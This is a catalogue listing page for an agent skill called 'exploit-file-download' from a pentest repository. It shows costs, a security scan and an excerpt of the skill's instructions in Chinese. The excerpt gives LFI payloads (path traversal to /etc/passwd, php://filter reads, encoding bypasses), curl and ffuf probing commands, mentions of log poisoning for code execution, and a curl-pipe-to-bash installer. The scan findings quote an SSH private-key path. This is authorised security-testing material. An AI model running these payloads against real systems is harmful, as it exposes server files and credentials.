exploit-file-download

exploit-file-download is a skill for Claude Code, Codex from crazyMarky/pentest-skills. It costs 79 tokens per session (3,302 once invoked), scanned C, original, Apache-2.0.

An authorised security-testing tool for finding and demonstrating arbitrary file-download and local file inclusion (LFI) vulnerabilities. LFI is a flaw where a web application reads or includes a file path supplied by the user.

In plain words
What is it for?
Use it to test file-reading endpoints with path traversal, encoded paths, or protocol-based inputs, and to check whether source code, configuration files, or other server files can be exposed.
Why use it?
It helps security testers identify when an application exposes local files or accepts unsafe paths. Testing requires written permission because these checks can reveal sensitive server data.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: reads .claude/ paths; positional $N argument.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd".

Good fit Use it to test file-reading endpoints with path traversal, encoded paths, or protocol-based inputs, and to check whether source code, configuration files, or other server files can be exposed.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/crazyMarky/pentest-skills
agentmods
npx agentmods add skills/crazymarky/pentest-skills/exploit-file-download

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for exploit-file-download

README.md
[![agentmods](https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-file-download/github.svg)](https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download)
Your own site
<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-file-download/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for exploit-file-download

Your own site · 80×15
<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-file-download"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-file-download.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 79 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,302 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00079 $0.03302
Opus 5 $0.00039 $0.01651
Sonnet 5 $0.00016 $0.00660
Haiku 4.5 $0.00008 $0.00330

Measured 10d ago against content hash 2febd05dd8a4, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade C, and why

exploit-file-download scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

The scan reads SKILL.md. This mod also ships 2 executable files (scripts/file_download_storage.py, scripts/file_download_tester.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

/root/.ssh/id_rsa

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

description: 任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。
exploit-file-download/SKILL.md · 400 lines

How it starts

The opening of the file, as written. The whole thing — 400 lines — stays where its author put it; the contents beside it link to each section on GitHub.

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保:

  • 获得目标系统所有者的明确书面授权
  • 测试范围和授权内容已明确定义
  • 遵守当地法律法规

未经授权的渗透测试是非法行为。


概述

本 Skill 专注于任意文件下载本地文件包含 (LFI) 类型漏洞的检测与利用。

注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力


核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 文件包含模式:参数值被直接用作 include()require() 的文件路径
  • 目录遍历模式../ 序列用于遍历目录
  • 伪协议利用php://filterphp://input
  • 路径长度限制:超长路径可能被截断
  • 特殊字符%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型 Payload 适用场景
文件包含 ?title=index.php 简单文件包含测试
路径遍历 ?title=../../../../etc/passwd Linux 目录遍历
伪协议 ?title=php://filter/convert.base64-encode/resource=/etc/passwd 读取敏感文件源码
Windows 路径 ?title=C:\\Windows\\win.ini Windows 文件读取
URL 编码 ?title=%2e%2e%2f%2e%2e%2fetc/passwd 绕过简单过滤

3. LFI 利用场景

  • 源码读取:读取 PHP 源码进行分析
  • 配置获取:读取数据库配置文件
  • 日志投毒:通过 LFI 写入日志获取 RCE
  • 图片马:配合文件上传 getshell

工具安装

必备工具

# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具(通常已预装)
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

使用方式

快速开始

# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

Read the full file on GitHub · 400 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 400 lines · 79 tokens per session scan C 2febd05dd8a4

Subscribe to this mod's changes

exploit-file-download is a skill published in the GitHub repository crazyMarky/pentest-skills (307 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 79 tokens to every session and 3,302 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

incident-response-fileanalyser

Static malware reverse-engineering and threat-intelligence triage for unknown files, Windows EXE/PE binaries, scripts, archives, ISOs, JavaScript, PowerShell, documents, and unpacked payloads. Use when a user provides a sample path, hash, filename, or file and asks whether it is malicious, benign, suspicious, contains…

crtvrffnrt/skills · 104 tokens

pentest-cve-vulnerability-research-helper

CVE and vulnerability research skill for exact CVE lookup, product/version applicability, exploit maturity, KEV/PoC status, source ranking, contradiction handling, and non-destructive validation guidance.

crtvrffnrt/skills · 49 tokens

pentest-hacktricks-finder

Support skill for HackTricks technique research, payload ideas, bypasses, prerequisites, caveats, and edge-case behavior across web, network, cloud, and application security topics. Use as owner only when research is the current blocker.

crtvrffnrt/skills · 56 tokens

pentest-web-enumeration

Authorized web enumeration for one or many websites or web applications, including live-target normalization, HTTP and TLS fingerprinting, technology and platform identification, virtual-host discovery, crawling, JavaScript and API endpoint extraction, focused directory and sensitive-file discovery, CMS-specific…

crtvrffnrt/skills · 101 tokens

incident-response-main

Defensive incident-response companion for Microsoft Entra ID, Microsoft 365, Defender, and mixed identity or endpoint incidents. Use for sign-in triage, public-IP enrichment, initial scoping, containment planning, and analyst-ready notes.

crtvrffnrt/skills · 51 tokens

pentest-outbound-interaction-oob-detection

Outbound interaction and OOB validation for SSRF callbacks, blind XSS beacons, webhook abuse, XXE/OOB behavior, DNS/HTTP/HTTPS callback correlation, asynchronous server-side interaction proof, and egress validation.

crtvrffnrt/skills · 56 tokens